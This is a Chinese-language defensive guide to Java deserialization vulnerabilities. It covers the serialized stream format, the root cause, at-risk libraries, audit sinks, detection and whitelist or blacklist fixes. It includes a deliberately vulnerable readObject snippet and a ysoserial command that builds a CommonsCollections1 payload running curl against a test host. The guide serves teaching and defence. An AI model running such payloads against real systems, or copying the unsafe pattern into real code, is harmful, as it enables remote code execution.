Java反序列化漏洞之殇
字数 1319 2025-08-29 08:32:00

Java反序列化漏洞全面解析与防御指南

一、序列化与反序列化基础

1.1 基本概念

  • 序列化:将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中
  • 反序列化:把字节序列恢复为Java对象的过程
  • 关键类
    • ObjectOutputStream.writeObject():实现序列化
    • ObjectInputStream.readObject():实现反序列化

1.2 序列化数据结构

序列化后的数据具有特定格式:

STREAM_MAGIC (2 bytes) 0xACED
STREAM_VERSION (2 bytes) 0x0005
TC_OBJECT (1 byte) 0x73
TC_CLASSDESC (1 byte) 0x72
className length (2 bytes)
className text
serialVersionUID (8 bytes)
classDescFlags (1 byte)
fields count (2 bytes)
field descriptions
classAnnotation
superClassDesc
classdata[]

二、反序列化漏洞原理

2.1 漏洞成因

当输入的反序列化数据可被用户控制时,攻击者可通过构造恶意输入:

  1. 让反序列化产生非预期的对象
  2. 在此过程中执行构造的任意代码

2.2 典型漏洞代码

InputStream in = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();  // 危险点:未校验输入流
ois.close();

2.3 常见危险库

以下第三方库曾被用于反序列化漏洞利用:

  • commons-collections 3.1/4.0
  • commons-fileupload 1.3.1
  • commons-io 2.4
  • commons-beanutils 1.9.2
  • org.slf4j:slf4j-api 1.7.21
  • com.mchange:c3p0 0.9.5.2
  • org.beanshell:bsh 2.0b5
  • org.codehaus.groovy:groovy 2.3.9

三、漏洞检测方案

3.1 代码审计关键点

审计时应重点关注以下反序列化操作函数:

ObjectInputStream.readObject()
ObjectInputStream.readUnshared()
XMLDecoder.readObject()
Yaml.load()
XStream.fromXML()
ObjectMapper.readValue()
JSON.parseObject()

3.2 白盒检测方法

  1. 自动化工具检测readObject()方法调用
  2. 确认参数是否来自外部输入
  3. 检查是否实现了安全校验

示例检测逻辑:

if (method instanceof ObjectInputStream.readObject && 
    sink来自用户输入) {
    report("可能存在反序列化漏洞");
}

3.3 黑盒检测技术

  1. 使用ysoserial生成payload测试:
java -jar ysoserial.jar CommonsCollections1 'curl http://test.com'
  1. 推荐工具:
    • SerialBrute
    • BaRMIe(RMI测试工具)

3.4 RASP检测

通过Hook resolveClass方法检测:

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) 
    throws IOException, ClassNotFoundException {
    // 检查类名是否在黑名单中
    if (黑名单.contains(desc.getName())) {
        throw new InvalidClassException("禁止反序列化");
    }
    return super.resolveClass(desc);
}

四、修复方案

4.1 最佳修复实践

方案1:Hook resolveClass校验

public class SecureObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (!白名单.contains(desc.getName())) {
            throw new InvalidClassException("未授权类");
        }
        return super.resolveClass(desc);
    }
}

方案2:使用ValidatingObjectInputStream

ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
ois.accept(SerialObject.class); // 只允许特定类
Object obj = ois.readObject();

方案3:Java 9+ ObjectInputFilter

ObjectInputFilter filter = info -> {
    if (info.serialClass() != null && 
        !info.serialClass().getName().equals("允许的类")) {
        return ObjectInputFilter.Status.REJECTED;
    }
    return ObjectInputFilter.Status.UNDECIDED;
};
ois.setObjectInputFilter(filter);

4.2 黑名单方案(不推荐)

仅在无法使用白名单时考虑,需持续维护:

private static final Set<String> BLACKLIST = Set.of(
    "org.apache.commons.collections.functors.InvokerTransformer",
    "org.apache.commons.collections4.functors.InstantiateTransformer",
    "org.codehaus.groovy.runtime.ConvertedClosure",
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
);

4.3 安全编码建议

  1. 更新所有存在漏洞的第三方库
  2. 尽量避免反序列化用户可控数据
  3. 优先使用白名单校验
  4. 对必须的序列化操作进行严格输入验证

五、高级防御技术

5.1 序列化数据特征检测

检测请求中是否包含序列化特征:

  • 魔术数字:0xACED
  • 版本号:0x0005

5.2 进阶审计技巧

  1. 查找所有实现Serializable接口的类
  2. 检查是否有自定义的readObject方法
  3. 分析是否存在危险操作(如Runtime.exec)

5.3 参考工具

  1. 反序列化漏洞检测:
    • OWASP ZAP插件
    • BurpSuite Java Serialize Scanner
  2. 修复参考:
    • SerialKiller
    • contrast-rO0

六、总结

Java反序列化漏洞危害严重且利用方式多样,防御需要:

  1. 理解漏洞原理
  2. 严格审计代码
  3. 实施有效修复方案
  4. 持续监控新出现的利用方式

通过白名单校验、输入过滤和危险类限制等多层防御,可有效降低反序列化漏洞风险。

Java反序列化漏洞全面解析与防御指南 一、序列化与反序列化基础 1.1 基本概念 序列化 :将Java对象转换为字节序列的过程,便于保存在内存、文件或数据库中 反序列化 :把字节序列恢复为Java对象的过程 关键类 : ObjectOutputStream.writeObject() :实现序列化 ObjectInputStream.readObject() :实现反序列化 1.2 序列化数据结构 序列化后的数据具有特定格式: 二、反序列化漏洞原理 2.1 漏洞成因 当输入的反序列化数据可被用户控制时,攻击者可通过构造恶意输入: 让反序列化产生非预期的对象 在此过程中执行构造的任意代码 2.2 典型漏洞代码 2.3 常见危险库 以下第三方库曾被用于反序列化漏洞利用: commons-collections 3.1/4.0 commons-fileupload 1.3.1 commons-io 2.4 commons-beanutils 1.9.2 org.slf4j:slf4j-api 1.7.21 com.mchange:c3p0 0.9.5.2 org.beanshell:bsh 2.0b5 org.codehaus.groovy:groovy 2.3.9 三、漏洞检测方案 3.1 代码审计关键点 审计时应重点关注以下反序列化操作函数: 3.2 白盒检测方法 自动化工具检测 readObject() 方法调用 确认参数是否来自外部输入 检查是否实现了安全校验 示例检测逻辑: 3.3 黑盒检测技术 使用ysoserial生成payload测试: 推荐工具: SerialBrute BaRMIe(RMI测试工具) 3.4 RASP检测 通过Hook resolveClass 方法检测: 四、修复方案 4.1 最佳修复实践 方案1:Hook resolveClass校验 方案2:使用ValidatingObjectInputStream 方案3:Java 9+ ObjectInputFilter 4.2 黑名单方案(不推荐) 仅在无法使用白名单时考虑,需持续维护: 4.3 安全编码建议 更新所有存在漏洞的第三方库 尽量避免反序列化用户可控数据 优先使用白名单校验 对必须的序列化操作进行严格输入验证 五、高级防御技术 5.1 序列化数据特征检测 检测请求中是否包含序列化特征: 魔术数字:0xACED 版本号:0x0005 5.2 进阶审计技巧 查找所有实现 Serializable 接口的类 检查是否有自定义的 readObject 方法 分析是否存在危险操作(如Runtime.exec) 5.3 参考工具 反序列化漏洞检测: OWASP ZAP插件 BurpSuite Java Serialize Scanner 修复参考: SerialKiller contrast-rO0 六、总结 Java反序列化漏洞危害严重且利用方式多样,防御需要: 理解漏洞原理 严格审计代码 实施有效修复方案 持续监控新出现的利用方式 通过白名单校验、输入过滤和危险类限制等多层防御,可有效降低反序列化漏洞风险。